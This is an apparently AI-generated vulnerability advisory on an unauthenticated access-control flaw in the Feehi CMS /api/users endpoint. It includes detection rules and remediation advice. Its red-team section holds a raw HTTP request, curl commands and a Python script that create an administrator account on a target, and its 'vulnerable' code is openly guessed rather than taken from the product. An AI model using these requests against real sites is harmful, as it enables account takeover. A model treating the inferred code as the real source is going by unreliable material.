CVE-2026-13544

Executive Summary

CVE-2026-13544 is an unauthenticated improper access control vulnerability in Feehi CMS versions up to and including 2.1.1. The flaw resides in the /api/users endpoint, which fails to enforce proper authorization checks. This allows any remote attacker to manipulate user-related API calls without authentication, potentially leading to unauthorized user creation, modification, or data exfiltration. The exploit has been publicly disclosed, and the vendor has not yet issued a patch or responded to the initial report. The CVSS v3.1 base score is 6.3 (Medium), but the lack of authentication requirements and public exploit availability elevates the real-world risk.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on service availability.

Threat Level: High – Public exploit, no patch, low attack complexity.

Deep Dive & Mechanics

The vulnerability is a classic case of missing authorization checks on a RESTful API endpoint. In Feehi CMS, the /api/users endpoint is designed to handle user management operations (e.g., listing, creating, updating users). The code likely uses a controller or handler that processes HTTP requests without verifying the identity or privileges of the requester.

Root Cause: The application does not implement any authentication middleware or token validation for the /api/users route. This means any HTTP request to this endpoint is processed as if it came from an authorized administrator.

Attack Vector: An attacker can send crafted HTTP requests (GET, POST, PUT, DELETE) to /api/users to:

• Enumerate all registered users (GET).
• Create a new admin user (POST).
• Modify existing user roles (PUT).
• Delete users (DELETE).

Example Request (User Creation):

POST /api/users HTTP/1.1
Host: target-feehi-cms.com
Content-Type: application/json

{
  "username": "attacker_admin",
  "password": "P@ssw0rd!",
  "email": "attacker@evil.com",
  "role": "admin"
}

The server will process this request and create a new administrator account without any authentication.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable code pattern. The vulnerable code likely resembles:

Vulnerable (Feehi CMS <= 2.1.1):

// routes/api.php
Route::resource('users', 'Api\UserController');

// app/Http/Controllers/Api/UserController.php
public function store(Request $request)
{
    // No authentication check
    $user = User::create($request->all());
    return response()->json($user, 201);
}

Patched (Hypothetical):

// routes/api.php
Route::middleware('auth:api')->resource('users', 'Api\UserController');

// app/Http/Controllers/Api/UserController.php
public function __construct()
{
    $this->middleware('auth:api');
}

public function store(Request $request)
{
    // Only proceed if authenticated user has admin role
    if (auth()->user()->role !== 'admin') {
        return response()->json(['error' => 'Forbidden'], 403);
    }
    $user = User::create($request->all());
    return response()->json($user, 201);
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: Docker container running Feehi CMS 2.1.1
• Attacker: Kali Linux with curl, Burp Suite, or custom Python script

Exploitation Steps:

1. Enumerate Users:

curl -X GET http://target-feehi-cms.com/api/users

2. Create Admin User:

curl -X POST http://target-feehi-cms.com/api/users \
  -H "Content-Type: application/json" \
  -d '{"username":"hacker","password":"Hack3r!","email":"hacker@evil.com","role":"admin"}'

3. Verify Access:

curl -X GET http://target-feehi-cms.com/api/users/hacker

Python Exploit Script:

import requests

target = "http://target-feehi-cms.com"
endpoint = f"{target}/api/users"

# Create admin user
payload = {
    "username": "pwned_admin",
    "password": "Pwn3d!",
    "email": "pwned@evil.com",
    "role": "admin"
}

r = requests.post(endpoint, json=payload)
if r.status_code == 201:
    print("[+] Admin user created successfully!")
    print(f"[+] Username: {payload['username']}")
else:
    print(f"[-] Failed: {r.status_code}")

Blue Team (Defensive)

Detection Steps:

1. Monitor for unusual POST requests to /api/users without prior authentication.
2. Alert on creation of new users with role: admin from unknown IPs.
3. Check web server logs for 201 responses on /api/users from unauthenticated sessions.
4. Implement rate limiting on API endpoints.

Mitigation (Temporary):

• Block /api/users endpoint at the web application firewall (WAF) or reverse proxy.
• Disable the API route in the application configuration if not needed.
• Add IP whitelisting for administrative API access.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule Detect_Feehi_CMS_Exploit_Attempt {
    meta:
        description = "Detects exploit attempts against CVE-2026-13544 in Feehi CMS"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-13544"
    strings:
        $s1 = "/api/users" ascii wide nocase
        $s2 = "POST" ascii wide nocase
        $s3 = "role" ascii wide nocase
        $s4 = "admin" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3, $s4)
}

Sigma Rule

title: Feehi CMS API Unauthenticated User Creation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated POST requests to /api/users in Feehi CMS
author: Valters IT
date: 2026/01/01
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/users'
        sc-status: 201
    condition: selection
falsepositives:
    - Legitimate admin actions (if authentication is properly implemented)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-13544 - Feehi CMS API Unauthenticated User Creation"; flow:to_server; content:"POST"; http_method; content:"/api/users"; http_uri; content:"role"; http_client_body; content:"admin"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the API: If the API is not required, remove or comment out the route in routes/api.php.
2. Add Authentication Middleware: Apply auth:api middleware to all API routes.
3. Implement Role-Based Access Control (RBAC): Ensure only users with admin role can access user management endpoints.
4. Web Application Firewall (WAF): Create rules to block unauthenticated requests to /api/users.
5. Monitor Logs: Actively monitor for exploitation attempts using the provided Sigma and Suricata rules.

Long-Term Fix:

• Wait for the vendor to release a patch. In the meantime, consider migrating to a supported CMS or implementing a custom authentication layer.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. All information is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.